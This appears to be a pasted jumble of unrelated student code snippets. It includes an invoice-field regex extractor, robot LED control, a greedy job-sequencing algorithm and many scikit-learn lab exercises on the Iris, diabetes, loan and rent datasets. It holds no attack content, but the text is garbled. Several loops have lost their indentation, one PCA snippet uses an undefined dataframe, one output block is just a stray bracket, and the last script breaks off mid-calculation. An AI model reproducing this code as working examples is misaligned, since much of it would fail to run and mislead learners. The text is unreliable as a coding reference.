    return 'not found'

text = _json.message_body
pattern_keys = r"ccm=(\d+)&nf=(\d+)&cod=([\w\d]+)"
pattern_provider=r"Razão Social: (.*)\n"

ccm,nf,cod=extract_nf_data(text,pattern_keys)
provider=extract_nf_data(text,pattern_provider)[0]

response = {'ccm':ccm,'nf':nf,'cod':cod,'provider':provider}

return response

with zipfile.ZipFile(ZIP_NAME, 'w') as zipf:
       for folderName, subfolders, filenames in os.walk(DATA_PATH):
           for filename in filenames:
               filePath = os.path.join(folderName, filename)
               zipf.write(filePath, os.path.basename(filePath))

remote_control_code_enabled = True
myVariable = 0

def when_started1():
    global myVariable, remote_control_code_enabled
    touchled_8.set_color(Color.GREEN)

def onevent_bumper_2_pressed_0():
    global myVariable, remote_control_code_enabled
    remote_control_code_enabled = False
    for repeat_count in range(6):
        touchled_8.set_color(Color.RED)
        wait(0.25, SECONDS)
        touchled_8.set_color(Color.GREEN)
        wait(0.25, SECONDS)
        wait(20, MSEC)
    remote_control_code_enabled = True
    touchled_8.set_color(Color.GREEN)

# system event handlers
bumper_2.pressed(onevent_bumper_2_pressed_0)
# add 15ms delay to make sure events are registered correctly.
wait(15, MSEC)

when_started1()

Task-3
Implement Job Sequencing with deadlines algorithm
Algorithm
Algorithm GreedyJob(d, J, n)
// J is a set of jobs that can be completed by their deadlines.
{
  J := {1};
  for i := 2 to n do
  {
    if (all jobs in J ∪ {i} can be completed
        by their deadlines) then J := J ∪ {i};
  }
}
AlgorithmJS(d,j,n)
{
 // d[i] >1,1<i <n arethedeadlines, n >1.Thejobs
 // areorderedsuchthat p[\\] >p[2]>>......p[n].J[i]
 // istheith jobin theoptimalsolution,1<i <k.
 // Also,at terminationd[J[i]] <d[J[i+1]], 1<i <k.
  {
d[0] := J[0] := 0; // Initialize.
J[1] := 1; // Include job 1.
k := 1;
for i := 2 to n do
{
    // Consider jobs in nonincreasing order of p[i]. Find
    // position for i and check feasibility of insertion.
    r := k;
    while ((d[J[r]] > d[i]) and (d[J[r]] ≠ r)) do r := r - 1;
    if ((d[J[r]] ≤ d[i]) and (d[i] > r)) then
    {
        // Insert i into J[ ].
        for q := k to (r + 1) step -1 do J[q + 1] := J[q];
        J[r + 1] := i; k := k + 1;
    }
}
return k;
}
Program:
class Job:
    def __init__(self, job_id, deadline, profit):
        self.job_id = job_id
        self.deadline = deadline
        self.profit = profit

# Function to schedule jobs to maximize profit
def job_sequencing(jobs):
    # Step 1: Sort jobs by profit in descending order
    jobs.sort(key=lambda job: job.profit, reverse=True)
    
    # Step 2: Initialize an array to keep track of free time slots
    max_deadline = max(job.deadline for job in jobs)
    slots = [-1] * max_deadline  # -1 indicates the slot is free
    
    total_profit = 0
    job_sequence = []
    
    # Step 3: Place jobs in available slots to maximize profit
    for job in jobs:
        # Find a slot for the job, starting from the latest possible slot (deadline)
        for j in range(min(job.deadline, max_deadline) - 1, -1, -1):
            if slots[j] == -1:
                # Slot found
                slots[j] = job.job_id
                job_sequence.append(job.job_id)
                total_profit += job.profit
                break
    
    # Output the sequence and profit
    return job_sequence, total_profit

# Example usage
jobs = [
    Job('Job1', 2, 100),
    Job('Job2', 1, 50),
    Job('Job3', 2, 10),
    Job('Job4', 1, 20),
    Job('Job5', 3, 15)
]

# Get the job sequence and total profit
sequence, profit = job_sequencing(jobs)
print("Job sequence:", sequence)
print("Total Profit:", profit)
OUTPUT:
Job Sequence: ['Job1', 'Job2', 'Job5']
Total Profit: 165


(VIVEK'S CODE)
# greedy job sequencing

def greedyJS(d,j,n):
    d[0]=j[0]=0
    j[1]=1
    k=1
    for i in range(2,n):
        r = k
        while d[j[r]]>d[i] and d[j[r]]!=r:
            r-=1
        if d[j[r]]<=d[i] and d[i]>r:
            for q in range(r+1,k-1,-1):
                j[q+1]=j[q]
            j[r+1]=i
            k+=1
    return k
            

def sort(p,d,n):
    for i in range(1,n):
        k = i
        m = p[i]
        for j in range(i+1,n):
            if(p[j]>m):
                m = p[j]
                k = j
        if i!=k:
            d[i],d[k] = d[k],d[i]
            p[i],p[k] = p[k],p[i]

n = int(input())
p = [-1]*(n+1)
d = [-1]*(n+1)
for i in range(1,n+1):
    p[i],d[i] = map(int,input().split())
sort(p,d,n+1)
print(p[1:])
print(d[1:])
j = [0]*(n+1)
k = greedyJS(d,j,n+1)
print(k)
for i in range(1,k+1):
    print(j[i],end=" ")
print()
profit = 0
for i in range(1,k+1):
    profit+=p[j[i]]
print(profit)

'''
INPUT:
5
15 2
20 2
10 1
1 3
5 3

OUTPUT:
[20, 15, 10, 5, 1]
[2, 2, 1, 3, 3]
3
1 2 4
40
'''

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
import seaborn as sns

df_petrol = pd.read_csv('petrol_consumption.csv')
print(df_petrol.head())
df_petrol.info()
#
df_petrol.isnull().sum()
#
df_petrol.fillna(df_petrol.mean(),inplace=True)
#
sns.pairplot(df_petrol,hue="Petrol_Consumption")
plt.show()
#
#PCA
scaler = StandardScaler()
df = scaler.fit_transform(df)

pca = PCA(n_components=2)
df_pca = pca.fit_transform(df)
df = pd.DataFrame(data = df_pca,columns=['PC1','PC2'])
df["Petrol_Consumption"] = df_petrol["Petrol_Consumption"]
sns.scatterplot(x='PC1',y='PC2',data = df,hue="Petrol_Consumption")
plt.show()

#Rfe
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.preprocessing import StandardScaler
from sklearn.feature_selection import RFE
from sklearn.tree import DecisionTreeClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score

df = pd.read_csv("Fish.csv")
print(df.head())
df.info()
#
X = df.drop('Species',axis=1)
y = df['Species']

y.info()
#
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size = 0.2,random_state=42)

dtc = DecisionTreeClassifier()
dtc.fit(X_train,y_train)
y_pred = dtc.predict(X_test)
print(y_pred)
print(y_test)

accuracy = accuracy_score(y_test,y_pred)
print(accuracy)
#
from sklearn.tree import DecisionTreeClassifier
from sklearn.preprocessing import LabelEncoder

df = pd.read_csv('Iris.csv')
df.info()
#
encoder = LabelEncoder()
df["Species"] = encoder.fit_transform(df["Species"])
#
df.info()
#
X = df.iloc[:,:-1] #df.drop(columns=["speices"])
y = df.iloc[:,-1] #df["species"]
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=42)
dtc = DecisionTreeClassifier()
dtc.fit(X_train,y_train)
y_pred = dtc.predict(X_test)
print(y_test,y_pred)
#
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix

accuracy = accuracy_score(y_pred,y_test)
print(accuracy)
print(classification_report(y_pred,y_test))
print(confusion_matrix(y_pred,y_test))
#
# prompt: Visualize insights of Above decision tree classification on iris dataset

from sklearn import tree
import matplotlib.pyplot as plt

plt.figure(figsize=(15,10))
tree.plot_tree(dtc,filled=True,feature_names=X.columns,class_names=['0','1','2'])
plt.show()
#from sklearn.neighbors import KNeighborsClassifier

df = pd.read_csv('diabetes.csv')
df.info()
#
X = df.iloc[:,:-1] #df.drop("Outcome",axis=1)
y = df.iloc[:,-1]
X_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=42)
knn = KNeighborsClassifier(n_neighbors=2)
knn.fit(X_train,y_train)
y_pred = knn.predict(X_test)
print(y_test,y_pred)
#
accuracy = accuracy_score(y_pred,y_test)
print(accuracy)
print(classification_report(y_pred,y_test))
print(confusion_matrix(y_pred,y_test))

#Decision Tree Classification

from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.tree import DecisionTreeClassifier
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix
import pandas as pd

iris = load_iris()
df = pd.DataFrame(data=iris.data, columns=iris.feature_names)
df['species'] = iris.target
print(df.head())
print(df.info())
X = df.drop('species', axis=1)
y = df['species']
x_train,x_test,y_train,y_test = train_test_split(X,y,test_size=0.2,random_state=42)
model = DecisionTreeClassifier()
model.fit(x_train,y_train)
y_pred = model.predict(x_test)
accuracy = accuracy_score(y_test,y_pred)
print("Accuracy:",accuracy)
print("Classification Report:\n",classification_report(y_test,y_pred))
print("Confusion Matrix:\n",confusion_matrix(y_test,y_pred))
output:
   sepal length (cm)  sepal width (cm)  petal length (cm)  petal width (cm)  \
0                5.1               3.5                1.4               0.2   
1                4.9               3.0                1.4               0.2   
2                4.7               3.2                1.3               0.2   
3                4.6               3.1                1.5               0.2   
4                5.0               3.6                1.4               0.2   

   species  
0        0  
1        0  
2        0  
3        0  
4        0  
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 150 entries, 0 to 149
Data columns (total 5 columns):
 #   Column             Non-Null Count  Dtype  
---  ------             --------------  -----  
 0   sepal length (cm)  150 non-null    float64
 1   sepal width (cm)   150 non-null    float64
 2   petal length (cm)  150 non-null    float64
 3   petal width (cm)   150 non-null    float64
 4   species            150 non-null    int64  
dtypes: float64(4), int64(1)
memory usage: 6.0 KB
None
Accuracy: 1.0
Classification Report:
               precision    recall  f1-score   support

           0       1.00      1.00      1.00        10
           1       1.00      1.00      1.00         9
           2       1.00      1.00      1.00        11

    accuracy                           1.00        30
   macro avg       1.00      1.00      1.00        30
weighted avg       1.00      1.00      1.00        30

Confusion Matrix:
 [[10  0  0]
 [ 0  9  0]
 [ 0  0 11]]
2.#K-Neareast Nrighbour
#K-Neareast Nrighbour
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.datasets import load_iris
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix
from sklearn.neighbors import KNeighborsClassifier
iris = load_iris()
df = pd.DataFrame(data=iris.data,columns=iris.feature_names)
df['species']=iris.target
print(df.head())
print(df.info())
x = df.drop('species',axis=1)
y = df['species']
x_train,x_test,y_train,y_test = train_test_split(x,y,test_size=0.2,random_state=42)
knn = KNeighborsClassifier(n_neighbors=1)
knn.fit(x_train,y_train)
y_pred = knn.predict(x_test)
accuracy = accuracy_score(y_test,y_pred)
print("Accuracy:",accuracy)
print("Classification Report:\n",classification_report(y_test,y_pred))
print("Confusion Matrix:\n",confusion_matrix(y_test,y_pred))
output:
]
#K-Neareast Nrighbour
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.datasets import load_iris
from sklearn.metrics import accuracy_score,classification_report,confusion_matrix
from sklearn.neighbors import KNeighborsClassifier
iris = load_iris()
df = pd.DataFrame(data=iris.data,columns=iris.feature_names)
df['species']=iris.target
print(df.head())
…print("Confusion Matrix:\n",confusion_matrix(y_test,y_pred))
   sepal length (cm)  sepal width (cm)  petal length (cm)  petal width (cm)  \
0                5.1               3.5                1.4               0.2   
1                4.9               3.0                1.4               0.2   
2                4.7               3.2                1.3               0.2   
3                4.6               3.1                1.5               0.2   
4                5.0               3.6                1.4               0.2   

   species  
0        0  
1        0  
2        0  
3        0  
4        0  
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 150 entries, 0 to 149
Data columns (total 5 columns):
 #   Column             Non-Null Count  Dtype  
---  ------             --------------  -----  
 0   sepal length (cm)  150 non-null    float64
 1   sepal width (cm)   150 non-null    float64
 2   petal length (cm)  150 non-null    float64
 3   petal width (cm)   150 non-null    float64
 4   species            150 non-null    int64  
dtypes: float64(4), int64(1)
memory usage: 6.0 KB
None
Accuracy: 1.0
Classification Report:
               precision    recall  f1-score   support

           0       1.00      1.00      1.00        10
           1       1.00      1.00      1.00         9
           2       1.00      1.00      1.00        11

    accuracy                           1.00        30
   macro avg       1.00      1.00      1.00        30
weighted avg       1.00      1.00      1.00        30

Confusion Matrix:
 [[10  0  0]
 [ 0  9  0]
 [ 0  0 11]]

1.
from sklearn.datasets import load_iris
import pandas as pd
iris=load_iris()
df=pd.DataFrame(data=iris.data, columns=iris.feature_names)
print("DataFrame Head:\n",df.head())
print("DataInfo:\n",df.info())

output
DataFrame Head:
    sepal length (cm)  sepal width (cm)  petal length (cm)  petal width (cm)
0                5.1               3.5                1.4               0.2
1                4.9               3.0                1.4               0.2
2                4.7               3.2                1.3               0.2
3                4.6               3.1                1.5               0.2
4                5.0               3.6                1.4               0.2
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 150 entries, 0 to 149
Data columns (total 4 columns):
 #   Column             Non-Null Count  Dtype  
---  ------             --------------  -----  
 0   sepal length (cm)  150 non-null    float64
 1   sepal width (cm)   150 non-null    float64
 2   petal length (cm)  150 non-null    float64
 3   petal width (cm)   150 non-null    float64
dtypes: float64(4)
memory usage: 4.8 KB
DataInfo:
 None
2.
from sklearn.preprocessing import StandardScaler
scaler=StandardScaler()
x_scaled=scaler.fit_transform(df)
from sklearn.cluster import KMeans
Kmeans=KMeans(n_clusters=3, random_state=42)
Kmeans.fit((x_scaled))
clusters_labels=Kmeans.labels_
df['cluster']=clusters_labels
cluster_centers=Kmeans.cluster_centers_
print("cluster centers:\n",cluster_centers)

ouput

cluster centers:
 [[ 1.13597027  0.08842168  0.99615451  1.01752612]
 [-1.01457897  0.85326268 -1.30498732 -1.25489349]
 [-0.05021989 -0.88337647  0.34773781  0.2815273 ]]

3.

from sklearn.metrics import adjusted_rand_score,silhouette_score
true_labels=iris.target
ari=adjusted_rand_score(true_labels,clusters_labels)
print(f"Adjusted Rand_Index(ARI):{ari}")
silhouette_avg=silhouette_score(x_scaled,clusters_labels)
print(f"sithouette score : {silhouette_avg}")

ouput

Adjusted Rand_Index(ARI):0.6201351808870379
sithouette score : 0.45994823920518635

ll.1

#Hierarchial clustering
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from sklearn.datasets import load_iris
from sklearn.preprocessing import StandardScaler
from scipy.cluster.hierarchy import dendrogram,linkage
from scipy.cluster.hierarchy import fcluster
iris=load_iris()
data=pd.DataFrame(iris.data,columns=iris.feature_names)
scaler=StandardScaler()
scaled_data=scaler.fit_transform(data)
z=linkage(scaled_data,method="ward")
plt.figure(figsize=(10,7))
plt.title("Dendogram for Iris dataset")
dendrogram(z,labels=iris.target)
plt.show()
clusters=fcluster(z,3,criterion="maxclust")
data['cluster']=clusters
data['species']=iris.target
print(data.groupby(['cluster','species']).size())
silhouette_avg=silhouette_score(scaled_data,clusters)
print(f"Silhouette score: {silhouette_avg}")

output
 

cluster  species
1        0          49
2        0           1
         1          27
         2           2
3        1          23
         2          48
dtype: int64
Silhouette score: 0.446689041028591

import pandas as pd 
import numpy as np 
import matplotlib.pyplot as plt 
import seaborn as sns 
from sklearn.preprocessing import StandardScaler 
from sklearn.cluster import AgglomerativeClustering 
from sklearn.metrics import accuracy_score, confusion_matrix 
from scipy.cluster.hierarchy import dendrogram, linkage 
from sklearn.decomposition import PCA 
# Load the Iris dataset 
df = pd.read_csv('Iris.csv') 
# Display the first few rows to understand the structure (optional) 
print(df.head()) 
# Remove the 'Id' column if present 
df = df.drop(columns=['Id']) 
# Separate features and the actual labels (for comparison) 
X = df.drop(columns=['Species']) 
y_true = df['Species'] 
# Standardize the features 
scaler = StandardScaler() 
X_scaled = scaler.fit_transform(X) 
# Generate a dendrogram to visualize hierarchical clustering structure 
plt.figure(figsize=(10, 7)) 
linked = linkage(X_scaled, method='ward') 
dendrogram(linked, labels=y_true.values, orientation='top', distance_sort='descending', show_leaf_counts=True) 
plt.title("Dendrogram for Iris Dataset") 
plt.xlabel("Samples") 
plt.ylabel("Euclidean Distance") 
plt.show() 
# Apply Hierarchical Clustering 
hc = AgglomerativeClustering(n_clusters=3, affinity='euclidean', linkage='ward') 
y_hc = hc.fit_predict(X_scaled) 
# Map cluster labels to actual classes for accuracy estimation 
y_hc_mapped = np.zeros_like(y_hc) 
for i in range(3): 
mask = (y_hc == i) 
y_hc_mapped[mask] = np.bincount(y_true[mask].factorize()[0]).argmax() 
# Estimate accuracy by comparing clusters to actual labels 
accuracy = accuracy_score(y_true.factorize()[0], y_hc_mapped) 
print("Estimated Accuracy of Hierarchical Clustering:", accuracy) 
# Confusion matrix to visualize clustering performance 
conf_matrix = confusion_matrix(y_true.factorize()[0], y_hc_mapped) 
plt.figure(figsize=(6, 4)) 
sns.heatmap(conf_matrix, annot=True, fmt="d", cmap="Blues", xticklabels=['Setosa', 'Versicolor', 'Virginica'], 
yticklabels=['Setosa', 'Versicolor', 'Virginica']) 
plt.xlabel("Cluster Label") 
plt.ylabel("True Label") 
plt.title("Confusion Matrix of Hierarchical Clustering") 
plt.show() 
# Visualize clusters using PCA (reduce to 2D for plotting) 
pca = PCA(n_components=2) 
X_pca = pca.fit_transform(X_scaled) 
# Plot the clusters and actual labels 
plt.figure(figsize=(12, 5)) 
# Plot hierarchical clusters 
plt.subplot(1, 2, 1) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_hc, cmap="viridis", s=50) 
plt.title("Hierarchical Clustering on Iris Dataset (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Cluster") 
# Plot actual species 
species_to_num = {'Iris-setosa': 0, 'Iris-versicolor': 1, 'Iris-virginica': 2} 
y_true_numeric = y_true.map(species_to_num) 
plt.subplot(1, 2, 2) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_true_numeric, cmap="viridis", s=50) 
plt.title("Actual Species Labels (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Species") 
plt.tight_layout() 
plt.show()

import pandas as pd 
import numpy as np 
import matplotlib.pyplot as plt 
import seaborn as sns 
from sklearn.preprocessing import StandardScaler 
from sklearn.cluster import KMeans 
from sklearn.metrics import accuracy_score, confusion_matrix 
from sklearn.decomposition import PCA 
# Load the Iris dataset 
df = pd.read_csv('Iris.csv') 
# Display the first few rows (optional) 
print(df.head()) 
# Remove the 'Id' column if present 
df = df.drop(columns=['Id']) 
# Separate features and the actual labels (for comparison) 
X = df.drop(columns=['Species']) 
y_true = df['Species'] 
# Standardize the features 
scaler = StandardScaler() 
X_scaled = scaler.fit_transform(X) 
# Apply k-Means clustering 
kmeans = KMeans(n_clusters=3, random_state=42) 
kmeans.fit(X_scaled) 
y_kmeans = kmeans.labels_ 
# Map cluster labels to the actual classes for accuracy estimation 
# Since k-means labels are arbitrary, we map them using the most common species in each cluster. 
y_kmeans_mapped = np.zeros_like(y_kmeans) 
for i in range(3): 
mask = (y_kmeans == i) 
y_kmeans_mapped[mask] = np.bincount(y_true[mask].factorize()[0]).argmax() 
# Estimate accuracy by comparing clusters to actual labels 
accuracy = accuracy_score(y_true.factorize()[0], y_kmeans_mapped) 
print("Estimated Accuracy of k-Means Clustering:", accuracy) 
# Confusion matrix to visualize clustering performance 
conf_matrix = confusion_matrix(y_true.factorize()[0], y_kmeans_mapped) 
plt.figure(figsize=(6, 4)) 
sns.heatmap(conf_matrix, annot=True, fmt="d", cmap="Blues", xticklabels=['Setosa', 'Versicolor', 'Virginica'], 
yticklabels=['Setosa', 'Versicolor', 'Virginica']) 
plt.xlabel("Cluster Label") 
plt.ylabel("True Label") 
plt.title("Confusion Matrix of k-Means Clustering") 
plt.show() 
# Visualize clusters using PCA (reduce to 2D for plotting) 
pca = PCA(n_components=2) 
X_pca = pca.fit_transform(X_scaled) 
# Plot the clusters and actual labels 
plt.figure(figsize=(12, 5)) 
# Plot k-Means clusters 
plt.subplot(1, 2, 1) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_kmeans, cmap="viridis", s=50) 
plt.title("k-Means Clustering on Iris Dataset (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Cluster") 
# Plot actual species 
species_to_num = {'Iris-setosa': 0, 'Iris-versicolor': 1, 'Iris-virginica': 2} 
y_true_numeric = y_true.map(species_to_num) 
plt.subplot(1, 2, 2) 
plt.scatter(X_pca[:, 0], X_pca[:, 1], c=y_true_numeric, cmap="viridis", s=50) 
plt.title("Actual Species Labels (PCA-reduced)") 
plt.xlabel("Principal Component 1") 
plt.ylabel("Principal Component 2") 
plt.colorbar(label="Species") 
plt.tight_layout() 
plt.show()

import pandas as pd 
import matplotlib.pyplot as plt 
import seaborn as sns 
from sklearn.model_selection import train_test_split 
from sklearn.ensemble import RandomForestClassifier 
from sklearn.metrics import accuracy_score, classification_report, confusion_matrix 
from sklearn.preprocessing import StandardScaler 
# Load the dataset 
df = pd.read_csv('bank_loans.csv') 
# Display the first few rows to understand the structure (optional) 
print(df.head()) 
print(df.info()) 
# Check for missing values (optional) 
print("Missing values:\n", df.isnull().sum()) 
# Handle missing values if any (optional, assuming numerical columns filled with mean) 
df.fillna(df.mean(), inplace=True) 
# Encode categorical variables (assuming 'Gender', 'Married', etc. as example categorical features) 
df = pd.get_dummies(df, drop_first=True) 
# Separate features and target variable 
X = df.drop(columns=['Loan_Status'])  # Assuming 'Loan_Status' is the target column (1 = Approved, 0 = Not Approved) 
y = df['Loan_Status'] 
# Split the data into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
# Initialize and train the Random Forest Classifier 
rf_model = RandomForestClassifier(n_estimators=100, random_state=42) 
rf_model.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = rf_model.predict(X_test_scaled) 
# Calculate accuracy and other performance metrics 
accuracy = accuracy_score(y_test, y_pred) 
print("Random Forest Model Accuracy:", accuracy) 
print("\nClassification Report:\n", classification_report(y_test, y_pred)) 
# Plot confusion matrix for better insight into model performance 
conf_matrix = confusion_matrix(y_test, y_pred) 
plt.figure(figsize=(6, 4)) 
sns.heatmap(conf_matrix, annot=True, fmt="d", cmap="Blues", xticklabels=['Not Approved', 'Approved'], 
yticklabels=['Not Approved', 'Approved']) 
plt.xlabel("Predicted") 
plt.ylabel("Actual") 
plt.title("Confusion Matrix") 
plt.show() 
# Feature importance visualization 
feature_importances = rf_model.feature_importances_ 
features = X.columns 
# Create a dataframe for feature importances 
feature_df = pd.DataFrame({'Feature': features, 'Importance': feature_importances}) 
feature_df = feature_df.sort_values(by='Importance', ascending=False) 
# Plot feature importances 
plt.figure(figsize=(10, 6)) 
sns.barplot(x='Importance', y='Feature', data=feature_df, palette="viridis") 
plt.title("Feature Importances in Random Forest Model") 
plt.xlabel("Importance") 
plt.ylabel("Feature") 
plt.show()

import pandas as pd 
from sklearn.model_selection import train_test_split 
from sklearn.preprocessing import StandardScaler 
from sklearn.neighbors import KNeighborsClassifier 
from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score, classification_report 
# Load the dataset 
df = pd.read_csv('diabetes.csv') 
# Display the first few rows to understand the dataset structure (optional) 
print(df.head()) 
# Separate features and target 
X = df.drop(columns=['Outcome'])  # Assuming 'Outcome' is the target column (0 = No Diabetes, 1 = Diabetes) 
y = df['Outcome'] 
# Split the data into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
# Initialize and train the k-NN classifier 
k = 5  # You can tune this value 
knn = KNeighborsClassifier(n_neighbors=k) 
knn.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = knn.predict(X_test_scaled) 
# Calculate performance measures 
accuracy = accuracy_score(y_test, y_pred) 
precision = precision_score(y_test, y_pred) 
recall = recall_score(y_test, y_pred) 
f1 = f1_score(y_test, y_pred) 
# Display the performance measures 
print("Performance Measures for k-NN Classifier:") 
print(f"Accuracy: {accuracy:.4f}") 
print(f"Precision: {precision:.4f}") 
print(f"Recall: {recall:.4f}") 
print(f"F1-Score: {f1:.4f}") 
# Detailed classification report 
print("\nClassification Report:\n", classification_report(y_test, y_pred)) 

import pandas as pd 
# Load the dataset 
df = pd.read_csv('Iris.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.model_selection import train_test_split 
from sklearn.preprocessing import LabelEncoder 
# Encode the target variable 
label_encoder = LabelEncoder() 
df['Species'] = label_encoder.fit_transform(df['Species']) 
# Separate features and target variable 
X = df.drop(columns=['Species']) 
y = df['Species'] 
# Split the data into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
from sklearn.tree import DecisionTreeClassifier 
from sklearn.metrics import accuracy_score 
# Initialize the Decision Tree Classifier 
model = DecisionTreeClassifier(random_state=42) 
model.fit(X_train, y_train) 
# Predict on the test set 
y_pred = model.predict(X_test) 
# Estimate the accuracy of the model 
accuracy = accuracy_score(y_test, y_pred) 
print("Accuracy of Decision Tree Classifier:", accuracy) 
from sklearn.tree import plot_tree 
import matplotlib.pyplot as plt 
# Plot the decision tree 
plt.figure(figsize=(12, 8)) 
plot_tree(model, feature_names=X.columns, class_names=label_encoder.classes_, filled=True) 
plt.title("Decision Tree Structure") 
plt.show() 
importances = model.feature_importances_ 
feature_names = X.columns 
# Plot feature importances 
plt.figure(figsize=(8, 6)) 
plt.barh(feature_names, importances, color='skyblue') 
plt.xlabel("Feature Importance") 
plt.ylabel("Feature") 
plt.title("Feature Importances in Decision Tree Model") 
plt.show() 
import numpy as np 
from matplotlib.colors import ListedColormap 
# Define a function to plot decision boundaries 
def plot_decision_boundary(model, X, y): 
# Set up the grid for plotting decision boundaries 
x_min, x_max = X[:, 0].min() - 1, X[:, 0].max() + 1 
y_min, y_max = X[:, 1].min() - 1, X[:, 1].max() + 1 
xx, yy = np.meshgrid(np.arange(x_min, x_max, 0.02), 
np.arange(y_min, y_max, 0.02)) 
# Predict over the grid 
Z = model.predict(np.c_[xx.ravel(), yy.ravel()]) 
Z = Z.reshape(xx.shape) 
# Plot the contour and training examples 
plt.figure(figsize=(10, 6)) 
plt.contourf(xx, yy, Z, alpha=0.3, cmap=ListedColormap(('red', 'green', 'blue'))) 
scatter = plt.scatter(X[:, 0], X[:, 1], c=y, s=30, cmap=ListedColormap(('red', 'green', 'blue'))) 
plt.xlabel("Petal Length") 
plt.ylabel("Petal Width") 
plt.title("Decision Boundary (Petal Length vs Petal Width)") 
plt.legend(handles=scatter.legend_elements()[0], labels=label_encoder.classes_) 
plt.show() 
# Extract PetalLength and PetalWidth for visualization 
X_2d_train = X_train[['PetalLengthCm', 'PetalWidthCm']].values 
y_train_2d = y_train.values 
# Train a new model on these two features for simplicity 
model_2d = DecisionTreeClassifier(random_state=42) 
model_2d.fit(X_2d_train, y_train_2d) 
# Plot the decision boundary 
plot_decision_boundary(model_2d, X_2d_train, y_train_2d)

import pandas as pd 
# Load the dataset 
df = pd.read_csv('student_scores.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
from sklearn.model_selection import train_test_split 
# Separate features and target 
X = df.drop(columns=['Score'])  # Assuming 'Score' is the target column 
y = df['Score'] 
# Split into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
from sklearn.preprocessing import StandardScaler 
# Initialize and fit the scaler on training data 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
from sklearn.linear_model import LinearRegression 
from sklearn.metrics import mean_absolute_error, mean_squared_error 
import numpy as np 
# Initialize and train the model 
model = LinearRegression() 
model.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = model.predict(X_test_scaled) 
# Evaluate performance 
mae = mean_absolute_error(y_test, y_pred) 
rmse = np.sqrt(mean_squared_error(y_test, y_pred)) 
print("Without Dimensionality Reduction") 
print("Mean Absolute Error (MAE):", mae) 
print("Root Mean Squared Error (RMSE):", rmse) 
from sklearn.decomposition import PCA 
# Initialize PCA and fit on the scaled training data 
pca = PCA(n_components=0.95)  # Retain 95% variance 
X_train_pca = pca.fit_transform(X_train_scaled) 
X_test_pca = pca.transform(X_test_scaled) 
# Check the number of components 
print("Number of components selected:", pca.n_components_) 
# Train the regression model on PCA-reduced data 
model_pca = LinearRegression() 
model_pca.fit(X_train_pca, y_train) 
# Predict on the PCA-transformed test set 
y_pred_pca = model_pca.predict(X_test_pca) 
# Evaluate performance 
mae_pca = mean_absolute_error(y_test, y_pred_pca) 
rmse_pca = np.sqrt(mean_squared_error(y_test, y_pred_pca)) 
print("With Dimensionality Reduction (PCA)") 
print("Mean Absolute Error (MAE):", mae_pca) 
print("Root Mean Squared Error (RMSE):", rmse_pca) 
print("Comparison of Model Performance:") 
print("Without Dimensionality Reduction - MAE:", mae, ", RMSE:", rmse) 
print("With Dimensionality Reduction (PCA) - MAE:", mae_pca, ", RMSE:", rmse_pca)

import pandas as pd 
# Load the dataset 
df = pd.read_csv('Pune_rent.csv') 
# Display the first few rows and basic information 
print(df.head()) 
print(df.describe()) 
print(df.info()) 
# Check for missing values 
print(df.isnull().sum()) 
# Convert categorical variables to dummy/indicator variables if necessary 
# For demonstration, assuming 'location', 'house_type' are categorical variables 
df = pd.get_dummies(df, columns=['location', 'house_type'], drop_first=True) 
from sklearn.model_selection import train_test_split 
# Separate features and target 
X = df.drop(columns=['Rent']) 
y = df['Rent'] 
# Split into training and testing sets 
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42) 
from sklearn.preprocessing import StandardScaler 
# Standardize the features 
scaler = StandardScaler() 
X_train_scaled = scaler.fit_transform(X_train) 
X_test_scaled = scaler.transform(X_test) 
from sklearn.linear_model import LinearRegression 
# Initialize and train the model 
model = LinearRegression() 
model.fit(X_train_scaled, y_train) 
# Predict on the test set 
y_pred = model.predict(X_test_scaled) 
from sklearn.metrics import mean_absolute_error, mean_squared_error 
import numpy as np 
# Calculate MAE and RMSE 
mae = mean_absolute_error(y_test, y_pred) 
